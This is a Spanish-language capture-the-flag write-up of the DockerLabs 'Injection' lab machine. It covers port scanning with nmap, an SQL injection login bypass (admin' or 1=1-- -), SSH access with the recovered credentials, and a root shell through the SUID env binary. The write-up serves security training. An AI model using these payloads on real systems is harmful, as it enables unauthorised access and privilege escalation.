> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/injection.md).

# Injection

✍️ Autor: El Pingüino de Mario🔍 Dificultad: Muy Fácil  📅 Fecha de creación: 09/04/2024

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fbx44PKXGHMUoa89oJ3nc%2F0.png?alt=media" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open -sT --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYAshevuTWsVmubrfoZCZ%2F1.png?alt=media)

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Utilizamos el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información específica sobre esos puertos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FXmKAw92rbXbawE7hqDnN%2F2.png?alt=media" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagaremos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea un formulario de iniciar sesión.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FjlOIPJPzT7WG8Bl05NHl%2F3.png?alt=media)

Se intenta hacer **Login** con las credenciales más típicas como **admin:admin** y **admin:password** pero no hay suerte y si indagamos a través del código fuente tampoco hay nada que llamé la atención.

### 🚀 **EXPLOTACIÓN**

El nombre de la máquina nos sugiere que podría ser vulnerable a una **SQL Injection**, así que vamos a intentar hacer un **bypass**. Para probar, añadimos una comilla simple con una contraseña cualquiera.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FyrXd0qo1nGCaGhi6LZoj%2F4.png?alt=media)

Ingresamos en el campo de usuario:

```sql
admin' or 1=1-- -
```

para que la condición sea siempre verdadera y en el campo de contraseña, ponemos cualquier valor.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FtbmTwlYVOG09ueHImG5y%2F5.png?alt=media)

Como podemos observar nos hemos logueado correctamente y hemos descubierto información relevante como el nombre del usuario y la contraseña. Sabiendo esto nos conectamos a través de **SSH** con esas credenciales.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FPRANcNJAy1ezqSHnYejO%2F6.png?alt=media)

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que ejecutamos:

```bash
sudo -l
```

para ver si hay algo que podamos explotar.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FU7Fgx46Xslql2wY30Mxt%2F7.png?alt=media)

Vemos que **sudo** no es funcional, así que decidimos probar otra vía, utilizando **SUID**. Exploramos los binarios con permisos **SUID** en el directorio raíz usando el comando:

```bash
find / -perm -4000 2>/dev/null
```

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F6dcQgf5Aku7vUS1bBY5V%2F8.png?alt=media)

Para saber que binarios se pueden ejecutar los buscamos en este enlace [Github](https://gtfobins.github.io/).&#x20;

Usamos la explotación **SUID** con **env** a través del comando:

```bash
/usr/bin/env /bin/sh -p
```

Finalmente, hemos conseguido ser **root**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FAMnJq8liir7GqwyRcDef%2Fimage.png?alt=media&amp;token=e13fa10e-fdcf-44b2-a599-cbbadfef0604" alt=""><figcaption></figcaption></figure>
